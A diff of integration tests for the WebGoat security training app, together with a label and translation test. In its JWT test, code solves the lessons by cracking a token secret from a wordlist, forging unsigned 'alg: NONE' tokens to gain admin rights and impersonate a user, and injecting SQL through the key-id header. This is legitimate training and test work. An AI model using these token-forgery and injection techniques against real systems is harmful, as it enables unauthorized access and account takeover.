import java.nio.charset.Charset;
|
||||
import java.security.InvalidKeyException;
|
||||
@ -10,207 +21,230 @@ import java.util.Calendar;
|
||||
import java.util.Date;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
import org.hamcrest.CoreMatchers;
|
||||
import org.hamcrest.MatcherAssert;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import com.fasterxml.jackson.databind.JsonNode;
|
||||
import com.fasterxml.jackson.databind.ObjectMapper;
|
||||
import com.fasterxml.jackson.databind.node.ObjectNode;
|
||||
|
||||
import io.jsonwebtoken.Header;
|
||||
import io.jsonwebtoken.JwsHeader;
|
||||
import io.jsonwebtoken.Jwt;
|
||||
import io.jsonwebtoken.JwtException;
|
||||
import io.jsonwebtoken.Jwts;
|
||||
import io.jsonwebtoken.SignatureAlgorithm;
|
||||
import io.jsonwebtoken.impl.TextCodec;
|
||||
import io.restassured.RestAssured;
|
||||
import org.owasp.webgoat.lessons.jwt.JWTSecretKeyEndpoint;
|
||||
|
||||
public class JWTLessonIntegrationTest extends IntegrationTest {
|
||||
|
||||
@Test
|
||||
public void solveAssignment() throws IOException, InvalidKeyException, NoSuchAlgorithmException {
|
||||
startLesson("JWT");
|
||||
|
||||
decodingToken();
|
||||
|
||||
resetVotes();
|
||||
|
||||
findPassword();
|
||||
|
||||
buyAsTom();
|
||||
|
||||
deleteTom();
|
||||
@Test
|
||||
public void solveAssignment() throws IOException, InvalidKeyException, NoSuchAlgorithmException {
|
||||
startLesson("JWT");
|
||||
|
||||
quiz();
|
||||
|
||||
checkResults("/JWT/");
|
||||
}
|
||||
|
||||
private String generateToken(String key) {
|
||||
|
||||
return Jwts.builder()
|
||||
.setIssuer("WebGoat Token Builder")
|
||||
.setAudience("webgoat.org")
|
||||
.setIssuedAt(Calendar.getInstance().getTime())
|
||||
.setExpiration(Date.from(Instant.now().plusSeconds(60)))
|
||||
.setSubject("tom@webgoat.org")
|
||||
.claim("username", "WebGoat")
|
||||
.claim("Email", "tom@webgoat.org")
|
||||
.claim("Role", new String[] {"Manager", "Project Administrator"})
|
||||
.signWith(SignatureAlgorithm.HS256, key).compact();
|
||||
}
|
||||
|
||||
private String getSecretToken(String token) {
|
||||
for (String key : JWTSecretKeyEndpoint.SECRETS) {
|
||||
try {
|
||||
Jwt jwt = Jwts.parser().setSigningKey(TextCodec.BASE64.encode(key)).parse(token);
|
||||
} catch (JwtException e) {
|
||||
continue;
|
||||
}
|
||||
return TextCodec.BASE64.encode(key);
|
||||
}
|
||||
return null;
|
||||
decodingToken();
|
||||
|
||||
resetVotes();
|
||||
|
||||
findPassword();
|
||||
|
||||
buyAsTom();
|
||||
|
||||
deleteTom();
|
||||
|
||||
quiz();
|
||||
|
||||
checkResults("/JWT/");
|
||||
}
|
||||
|
||||
private String generateToken(String key) {
|
||||
|
||||
return Jwts.builder()
|
||||
.setIssuer("WebGoat Token Builder")
|
||||
.setAudience("webgoat.org")
|
||||
.setIssuedAt(Calendar.getInstance().getTime())
|
||||
.setExpiration(Date.from(Instant.now().plusSeconds(60)))
|
||||
.setSubject("tom@webgoat.org")
|
||||
.claim("username", "WebGoat")
|
||||
.claim("Email", "tom@webgoat.org")
|
||||
.claim("Role", new String[] {"Manager", "Project Administrator"})
|
||||
.signWith(SignatureAlgorithm.HS256, key)
|
||||
.compact();
|
||||
}
|
||||
|
||||
private String getSecretToken(String token) {
|
||||
for (String key : JWTSecretKeyEndpoint.SECRETS) {
|
||||
try {
|
||||
Jwt jwt = Jwts.parser().setSigningKey(TextCodec.BASE64.encode(key)).parse(token);
|
||||
} catch (JwtException e) {
|
||||
continue;
|
||||
}
|
||||
return TextCodec.BASE64.encode(key);
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private void decodingToken() {
|
||||
MatcherAssert.assertThat(
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.formParam("jwt-encode-user", "user")
|
||||
.post(url("/WebGoat/JWT/decode"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract().path("lessonCompleted"), CoreMatchers.is(true));
|
||||
private void decodingToken() {
|
||||
MatcherAssert.assertThat(
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.formParam("jwt-encode-user", "user")
|
||||
.post(url("/WebGoat/JWT/decode"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.path("lessonCompleted"),
|
||||
CoreMatchers.is(true));
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
private void findPassword() throws IOException, NoSuchAlgorithmException, InvalidKeyException {
|
||||
|
||||
String accessToken = RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(url("/WebGoat/JWT/secret/gettoken"))
|
||||
.then()
|
||||
.extract().response().asString();
|
||||
|
||||
String secret = getSecretToken(accessToken);
|
||||
|
||||
MatcherAssert.assertThat(
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.formParam("token", generateToken(secret))
|
||||
.post(url("/WebGoat/JWT/secret"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract().path("lessonCompleted"), CoreMatchers.is(true));
|
||||
|
||||
}
|
||||
|
||||
private void resetVotes() throws IOException {
|
||||
String accessToken = RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(url("/WebGoat/JWT/votings/login?user=Tom"))
|
||||
.then()
|
||||
.extract().cookie("access_token");
|
||||
private void findPassword() throws IOException, NoSuchAlgorithmException, InvalidKeyException {
|
||||
|
||||
String header = accessToken.substring(0, accessToken.indexOf("."));
|
||||
header = new String(Base64.getUrlDecoder().decode(header.getBytes(Charset.defaultCharset())));
|
||||
|
||||
String body = accessToken.substring(1+accessToken.indexOf("."), accessToken.lastIndexOf("."));
|
||||
body = new String(Base64.getUrlDecoder().decode(body.getBytes(Charset.defaultCharset())));
|
||||
String accessToken =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(url("/WebGoat/JWT/secret/gettoken"))
|
||||
.then()
|
||||
.extract()
|
||||
.response()
|
||||
.asString();
|
||||
|
||||
ObjectMapper mapper = new ObjectMapper();
|
||||
JsonNode headerNode = mapper.readTree(header);
|
||||
headerNode = ((ObjectNode) headerNode).put("alg","NONE");
|
||||
String secret = getSecretToken(accessToken);
|
||||
|
||||
JsonNode bodyObject = mapper.readTree(body);
|
||||
bodyObject = ((ObjectNode) bodyObject).put("admin","true");
|
||||
|
||||
String replacedToken = new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes()))
|
||||
.concat(".")
|
||||
.concat(new String(Base64.getUrlEncoder().encode(bodyObject.toString().getBytes())).toString())
|
||||
.concat(".").replace("=", "");
|
||||
|
||||
MatcherAssert.assertThat(
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.cookie("access_token", replacedToken)
|
||||
.post(url("/WebGoat/JWT/votings"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract().path("lessonCompleted"), CoreMatchers.is(true));
|
||||
}
|
||||
|
||||
private void buyAsTom() throws IOException {
|
||||
|
||||
String header = new String(Base64.getUrlDecoder().decode("eyJhbGciOiJIUzUxMiJ9".getBytes(Charset.defaultCharset())));
|
||||
MatcherAssert.assertThat(
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.formParam("token", generateToken(secret))
|
||||
.post(url("/WebGoat/JWT/secret"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.path("lessonCompleted"),
|
||||
CoreMatchers.is(true));
|
||||
}
|
||||
|
||||
String body = new String(Base64.getUrlDecoder().decode("eyJhZG1pbiI6ImZhbHNlIiwidXNlciI6IkplcnJ5In0".getBytes(Charset.defaultCharset())));
|
||||
private void resetVotes() throws IOException {
|
||||
String accessToken =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(url("/WebGoat/JWT/votings/login?user=Tom"))
|
||||
.then()
|
||||
.extract()
|
||||
.cookie("access_token");
|
||||
|
||||
body = body.replace("Jerry", "Tom");
|
||||
|
||||
ObjectMapper mapper = new ObjectMapper();
|
||||
JsonNode headerNode = mapper.readTree(header);
|
||||
headerNode = ((ObjectNode) headerNode).put("alg", "NONE");
|
||||
String header = accessToken.substring(0, accessToken.indexOf("."));
|
||||
header = new String(Base64.getUrlDecoder().decode(header.getBytes(Charset.defaultCharset())));
|
||||
|
||||
String replacedToken = new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes())).concat(".")
|
||||
.concat(new String(Base64.getUrlEncoder().encode(body.getBytes())).toString())
|
||||
.concat(".").replace("=", "");
|
||||
String body = accessToken.substring(1 + accessToken.indexOf("."), accessToken.lastIndexOf("."));
|
||||
body = new String(Base64.getUrlDecoder().decode(body.getBytes(Charset.defaultCharset())));
|
||||
|
||||
MatcherAssert.assertThat(RestAssured.given()
|
||||
.when().relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.header("Authorization","Bearer "+replacedToken)
|
||||
.post(url("/WebGoat/JWT/refresh/checkout"))
|
||||
.then().statusCode(200)
|
||||
.extract().path("lessonCompleted"), CoreMatchers.is(true));
|
||||
}
|
||||
|
||||
private void deleteTom() {
|
||||
|
||||
Map<String, Object> header = new HashMap();
|
||||
header.put(Header.TYPE, Header.JWT_TYPE);
|
||||
header.put(JwsHeader.KEY_ID, "hacked' UNION select 'deletingTom' from INFORMATION_SCHEMA.SYSTEM_USERS --");
|
||||
String token = Jwts.builder()
|
||||
.setHeader(header)
|
||||
.setIssuer("WebGoat Token Builder")
|
||||
.setAudience("webgoat.org")
|
||||
.setIssuedAt(Calendar.getInstance().getTime())
|
||||
.setExpiration(Date.from(Instant.now().plusSeconds(60)))
|
||||
.setSubject("tom@webgoat.org")
|
||||
.claim("username", "Tom")
|
||||
.claim("Email", "tom@webgoat.org")
|
||||
.claim("Role", new String[] {"Manager", "Project Administrator"})
|
||||
.signWith(SignatureAlgorithm.HS256, "deletingTom").compact();
|
||||
|
||||
MatcherAssert.assertThat(RestAssured.given()
|
||||
.when().relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.post(url("/WebGoat/JWT/final/delete?token="+token))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract().path("lessonCompleted"), CoreMatchers.is(true));
|
||||
}
|
||||
ObjectMapper mapper = new ObjectMapper();
|
||||
JsonNode headerNode = mapper.readTree(header);
|
||||
headerNode = ((ObjectNode) headerNode).put("alg", "NONE");
|
||||
|
||||
private void quiz() {
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.put("question_0_solution", "Solution 1");
|
||||
params.put("question_1_solution", "Solution 2");
|
||||
JsonNode bodyObject = mapper.readTree(body);
|
||||
bodyObject = ((ObjectNode) bodyObject).put("admin", "true");
|
||||
|
||||
checkAssignment(url("/WebGoat/JWT/quiz"), params, true);
|
||||
}
|
||||
|
||||
String replacedToken =
|
||||
new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes()))
|
||||
.concat(".")
|
||||
.concat(
|
||||
new String(Base64.getUrlEncoder().encode(bodyObject.toString().getBytes()))
|
||||
.toString())
|
||||
.concat(".")
|
||||
.replace("=", "");
|
||||
|
||||
MatcherAssert.assertThat(
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.cookie("access_token", replacedToken)
|
||||
.post(url("/WebGoat/JWT/votings"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.path("lessonCompleted"),
|
||||
CoreMatchers.is(true));
|
||||
}
|
||||
|
||||
private void buyAsTom() throws IOException {
|
||||
|
||||
String header =
|
||||
new String(
|
||||
Base64.getUrlDecoder()
|
||||
.decode("eyJhbGciOiJIUzUxMiJ9".getBytes(Charset.defaultCharset())));
|
||||
|
||||
String body =
|
||||
new String(
|
||||
Base64.getUrlDecoder()
|
||||
.decode(
|
||||
"eyJhZG1pbiI6ImZhbHNlIiwidXNlciI6IkplcnJ5In0"
|
||||
.getBytes(Charset.defaultCharset())));
|
||||
|
||||
body = body.replace("Jerry", "Tom");
|
||||
|
||||
ObjectMapper mapper = new ObjectMapper();
|
||||
JsonNode headerNode = mapper.readTree(header);
|
||||
headerNode = ((ObjectNode) headerNode).put("alg", "NONE");
|
||||
|
||||
String replacedToken =
|
||||
new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes()))
|
||||
.concat(".")
|
||||
.concat(new String(Base64.getUrlEncoder().encode(body.getBytes())).toString())
|
||||
.concat(".")
|
||||
.replace("=", "");
|
||||
|
||||
MatcherAssert.assertThat(
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.header("Authorization", "Bearer " + replacedToken)
|
||||
.post(url("/WebGoat/JWT/refresh/checkout"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.path("lessonCompleted"),
|
||||
CoreMatchers.is(true));
|
||||
}
|
||||
|
||||
private void deleteTom() {
|
||||
|
||||
Map<String, Object> header = new HashMap();
|
||||
header.put(Header.TYPE, Header.JWT_TYPE);
|
||||
header.put(
|
||||
JwsHeader.KEY_ID,
|
||||
"hacked' UNION select 'deletingTom' from INFORMATION_SCHEMA.SYSTEM_USERS --");
|
||||
String token =
|
||||
Jwts.builder()
|
||||
.setHeader(header)
|
||||
.setIssuer("WebGoat Token Builder")
|
||||
.setAudience("webgoat.org")
|
||||
.setIssuedAt(Calendar.getInstance().getTime())
|
||||
.setExpiration(Date.from(Instant.now().plusSeconds(60)))
|
||||
.setSubject("tom@webgoat.org")
|
||||
.claim("username", "Tom")
|
||||
.claim("Email", "tom@webgoat.org")
|
||||
.claim("Role", new String[] {"Manager", "Project Administrator"})
|
||||
.signWith(SignatureAlgorithm.HS256, "deletingTom")
|
||||
.compact();
|
||||
|
||||
MatcherAssert.assertThat(
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.post(url("/WebGoat/JWT/final/delete?token=" + token))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.path("lessonCompleted"),
|
||||
CoreMatchers.is(true));
|
||||
}
|
||||
|
||||
private void quiz() {
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.put("question_0_solution", "Solution 1");
|
||||
params.put("question_1_solution", "Solution 2");
|
||||
|
||||
checkAssignment(url("/WebGoat/JWT/quiz"), params, true);
|
||||
}
|
||||
}
|
||||
|
@ -3,168 +3,228 @@ package org.owasp.webgoat;
|
||||
import io.restassured.RestAssured;
|
||||
import io.restassured.http.ContentType;
|
||||
import io.restassured.path.json.JsonPath;
|
||||
import org.junit.jupiter.api.Assertions;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import java.io.FileInputStream;
|
||||
import java.io.InputStream;
|
||||
import java.util.List;
|
||||
import java.util.Properties;
|
||||
import org.junit.jupiter.api.Assertions;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
public class LabelAndHintIntegrationTest extends IntegrationTest {
|
||||
|
||||
final static String ESCAPE_JSON_PATH_CHAR = "\'";
|
||||
static final String ESCAPE_JSON_PATH_CHAR = "\'";
|
||||
|
||||
@Test
|
||||
public void testSingleLabel() {
|
||||
Assertions.assertTrue(true);
|
||||
JsonPath jsonPath = RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.contentType(ContentType.JSON)
|
||||
.header("Accept-Language","en")
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(url("service/labels.mvc")).then().statusCode(200).extract().jsonPath();
|
||||
@Test
|
||||
public void testSingleLabel() {
|
||||
Assertions.assertTrue(true);
|
||||
JsonPath jsonPath =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.contentType(ContentType.JSON)
|
||||
.header("Accept-Language", "en")
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(url("service/labels.mvc"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.jsonPath();
|
||||
|
||||
Assertions.assertEquals("Try again: but this time enter a value before hitting go.", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"http-basics.close"+ESCAPE_JSON_PATH_CHAR));
|
||||
Assertions.assertEquals(
|
||||
"Try again: but this time enter a value before hitting go.",
|
||||
jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "http-basics.close" + ESCAPE_JSON_PATH_CHAR));
|
||||
|
||||
// check if lang parameter overrules Accept-Language parameter
|
||||
jsonPath = RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.contentType(ContentType.JSON)
|
||||
.header("Accept-Language","en")
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(url("service/labels.mvc?lang=nl")).then().statusCode(200).extract().jsonPath();
|
||||
Assertions.assertEquals("Gebruikersnaam", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"username"+ESCAPE_JSON_PATH_CHAR));
|
||||
// check if lang parameter overrules Accept-Language parameter
|
||||
jsonPath =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.contentType(ContentType.JSON)
|
||||
.header("Accept-Language", "en")
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(url("service/labels.mvc?lang=nl"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.jsonPath();
|
||||
Assertions.assertEquals(
|
||||
"Gebruikersnaam",
|
||||
jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
|
||||
|
||||
jsonPath = RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.contentType(ContentType.JSON)
|
||||
.header("Accept-Language","en")
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(url("service/labels.mvc?lang=de")).then().statusCode(200).extract().jsonPath();
|
||||
Assertions.assertEquals("Benutzername", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"username"+ESCAPE_JSON_PATH_CHAR));
|
||||
jsonPath =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.contentType(ContentType.JSON)
|
||||
.header("Accept-Language", "en")
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(url("service/labels.mvc?lang=de"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.jsonPath();
|
||||
Assertions.assertEquals(
|
||||
"Benutzername",
|
||||
jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
|
||||
|
||||
// check if invalid language returns english
|
||||
jsonPath = RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.contentType(ContentType.JSON)
|
||||
.header("Accept-Language","nl")
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(url("service/labels.mvc?lang=xx")).then().statusCode(200).extract().jsonPath();
|
||||
Assertions.assertEquals("Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"username"+ESCAPE_JSON_PATH_CHAR));
|
||||
// check if invalid language returns english
|
||||
jsonPath =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.contentType(ContentType.JSON)
|
||||
.header("Accept-Language", "nl")
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(url("service/labels.mvc?lang=xx"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.jsonPath();
|
||||
Assertions.assertEquals(
|
||||
"Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
|
||||
|
||||
// check if invalid language returns english
|
||||
jsonPath = RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.contentType(ContentType.JSON)
|
||||
.header("Accept-Language","xx_YY")
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(url("service/labels.mvc")).then().statusCode(200).extract().jsonPath();
|
||||
Assertions.assertEquals("Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"username"+ESCAPE_JSON_PATH_CHAR));
|
||||
// check if invalid language returns english
|
||||
jsonPath =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.contentType(ContentType.JSON)
|
||||
.header("Accept-Language", "xx_YY")
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(url("service/labels.mvc"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.jsonPath();
|
||||
Assertions.assertEquals(
|
||||
"Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void testHints() {
|
||||
JsonPath jsonPathLabels = getLabels("en");
|
||||
List<String> allLessons =
|
||||
List.of(
|
||||
"HttpBasics",
|
||||
"HttpProxies",
|
||||
"CIA",
|
||||
"InsecureLogin",
|
||||
"Cryptography",
|
||||
"PathTraversal",
|
||||
"XXE",
|
||||
"JWT",
|
||||
"IDOR",
|
||||
"SSRF",
|
||||
"WebWolfIntroduction",
|
||||
"CrossSiteScripting",
|
||||
"CSRF",
|
||||
"HijackSession",
|
||||
"SqlInjection",
|
||||
"SqlInjectionMitigations",
|
||||
"SqlInjectionAdvanced",
|
||||
"Challenge1");
|
||||
for (String lesson : allLessons) {
|
||||
startLesson(lesson);
|
||||
List<String> hintKeys = getHints();
|
||||
for (String key : hintKeys) {
|
||||
String keyValue =
|
||||
jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR);
|
||||
// System.out.println("key: " + key + " ,value: " + keyValue);
|
||||
Assertions.assertNotNull(keyValue);
|
||||
Assertions.assertNotEquals(key, keyValue);
|
||||
}
|
||||
}
|
||||
// Assertions.assertEquals("http-basics.hints.http_basics_lesson.1",
|
||||
// ""+jsonPath.getList("hint").get(0));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void testHints() {
|
||||
JsonPath jsonPathLabels = getLabels("en");
|
||||
List<String> allLessons = List.of(
|
||||
"HttpBasics",
|
||||
"HttpProxies", "CIA", "InsecureLogin", "Cryptography", "PathTraversal",
|
||||
"XXE", "JWT", "IDOR", "SSRF", "WebWolfIntroduction", "CrossSiteScripting", "CSRF", "HijackSession",
|
||||
"SqlInjection", "SqlInjectionMitigations" ,"SqlInjectionAdvanced",
|
||||
"Challenge1");
|
||||
for (String lesson: allLessons) {
|
||||
startLesson(lesson);
|
||||
List<String> hintKeys = getHints();
|
||||
for (String key : hintKeys) {
|
||||
String keyValue = jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR);
|
||||
//System.out.println("key: " + key + " ,value: " + keyValue);
|
||||
Assertions.assertNotNull(keyValue);
|
||||
Assertions.assertNotEquals(key, keyValue);
|
||||
}
|
||||
}
|
||||
//Assertions.assertEquals("http-basics.hints.http_basics_lesson.1", ""+jsonPath.getList("hint").get(0));
|
||||
@Test
|
||||
public void testLabels() {
|
||||
|
||||
JsonPath jsonPathLabels = getLabels("en");
|
||||
Properties propsDefault = getProperties("");
|
||||
for (String key : propsDefault.stringPropertyNames()) {
|
||||
String keyValue =
|
||||
jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR);
|
||||
Assertions.assertNotNull(keyValue);
|
||||
}
|
||||
checkLang(propsDefault, "nl");
|
||||
checkLang(propsDefault, "de");
|
||||
checkLang(propsDefault, "fr");
|
||||
checkLang(propsDefault, "ru");
|
||||
}
|
||||
|
||||
@Test
|
||||
public void testLabels() {
|
||||
|
||||
JsonPath jsonPathLabels = getLabels("en");
|
||||
Properties propsDefault = getProperties("");
|
||||
for (String key: propsDefault.stringPropertyNames()) {
|
||||
String keyValue = jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR+key+ESCAPE_JSON_PATH_CHAR);
|
||||
Assertions.assertNotNull(keyValue);
|
||||
}
|
||||
checkLang(propsDefault,"nl");
|
||||
checkLang(propsDefault,"de");
|
||||
checkLang(propsDefault,"fr");
|
||||
checkLang(propsDefault,"ru");
|
||||
|
||||
private Properties getProperties(String lang) {
|
||||
Properties prop = null;
|
||||
if (lang == null || lang.equals("")) {
|
||||
lang = "";
|
||||
} else {
|
||||
lang = "_" + lang;
|
||||
}
|
||||
try (InputStream input =
|
||||
new FileInputStream("src/main/resources/i18n/messages" + lang + ".properties")) {
|
||||
|
||||
private Properties getProperties(String lang) {
|
||||
Properties prop = null;
|
||||
if (lang == null || lang.equals("")) { lang = ""; } else { lang = "_"+lang; }
|
||||
try (InputStream input = new FileInputStream("src/main/resources/i18n/messages"+lang+".properties")) {
|
||||
|
||||
prop = new Properties();
|
||||
// load a properties file
|
||||
prop.load(input);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return prop;
|
||||
prop = new Properties();
|
||||
// load a properties file
|
||||
prop.load(input);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return prop;
|
||||
}
|
||||
|
||||
private void checkLang(Properties propsDefault, String lang) {
|
||||
JsonPath jsonPath = getLabels(lang);
|
||||
Properties propsLang = getProperties(lang);
|
||||
private void checkLang(Properties propsDefault, String lang) {
|
||||
JsonPath jsonPath = getLabels(lang);
|
||||
Properties propsLang = getProperties(lang);
|
||||
|
||||
for (String key: propsLang.stringPropertyNames()) {
|
||||
if (!propsDefault.containsKey(key)) {
|
||||
System.err.println("key: " + key + " in (" +lang+") is missing from default properties");
|
||||
Assertions.fail();
|
||||
}
|
||||
if (!jsonPath.getString(ESCAPE_JSON_PATH_CHAR+key+ESCAPE_JSON_PATH_CHAR).equals(propsLang.get(key))) {
|
||||
System.out.println("key: " + key + " in (" +lang+") has incorrect translation in label service");
|
||||
System.out.println("actual:"+jsonPath.getString(ESCAPE_JSON_PATH_CHAR+key+ESCAPE_JSON_PATH_CHAR));
|
||||
System.out.println("expected: "+propsLang.getProperty(key));
|
||||
System.out.println();
|
||||
Assertions.fail();
|
||||
}
|
||||
}
|
||||
for (String key : propsLang.stringPropertyNames()) {
|
||||
if (!propsDefault.containsKey(key)) {
|
||||
System.err.println("key: " + key + " in (" + lang + ") is missing from default properties");
|
||||
Assertions.fail();
|
||||
}
|
||||
if (!jsonPath
|
||||
.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR)
|
||||
.equals(propsLang.get(key))) {
|
||||
System.out.println(
|
||||
"key: " + key + " in (" + lang + ") has incorrect translation in label service");
|
||||
System.out.println(
|
||||
"actual:" + jsonPath.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR));
|
||||
System.out.println("expected: " + propsLang.getProperty(key));
|
||||
System.out.println();
|
||||
Assertions.fail();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private JsonPath getLabels(String lang) {
|
||||
return RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.contentType(ContentType.JSON)
|
||||
.header("Accept-Language",lang)
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
//.log().headers()
|
||||
.get(url("service/labels.mvc"))
|
||||
.then()
|
||||
//.log().all()
|
||||
.statusCode(200).extract().jsonPath();
|
||||
}
|
||||
|
||||
private List<String> getHints() {
|
||||
JsonPath jsonPath = RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.contentType(ContentType.JSON)
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(url("service/hint.mvc"))
|
||||
.then()
|
||||
//.log().all()
|
||||
.statusCode(200).extract().jsonPath();
|
||||
return jsonPath.getList("hint");
|
||||
}
|
||||
private JsonPath getLabels(String lang) {
|
||||
return RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.contentType(ContentType.JSON)
|
||||
.header("Accept-Language", lang)
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
// .log().headers()
|
||||
.get(url("service/labels.mvc"))
|
||||
.then()
|
||||
// .log().all()
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.jsonPath();
|
||||
}
|
||||
|
||||
private List<String> getHints() {
|
||||
JsonPath jsonPath =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.contentType(ContentType.JSON)
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(url("service/hint.mvc"))
|
||||
.then()
|
||||
// .log().all()
|
||||
.statusCode(200)
|
||||
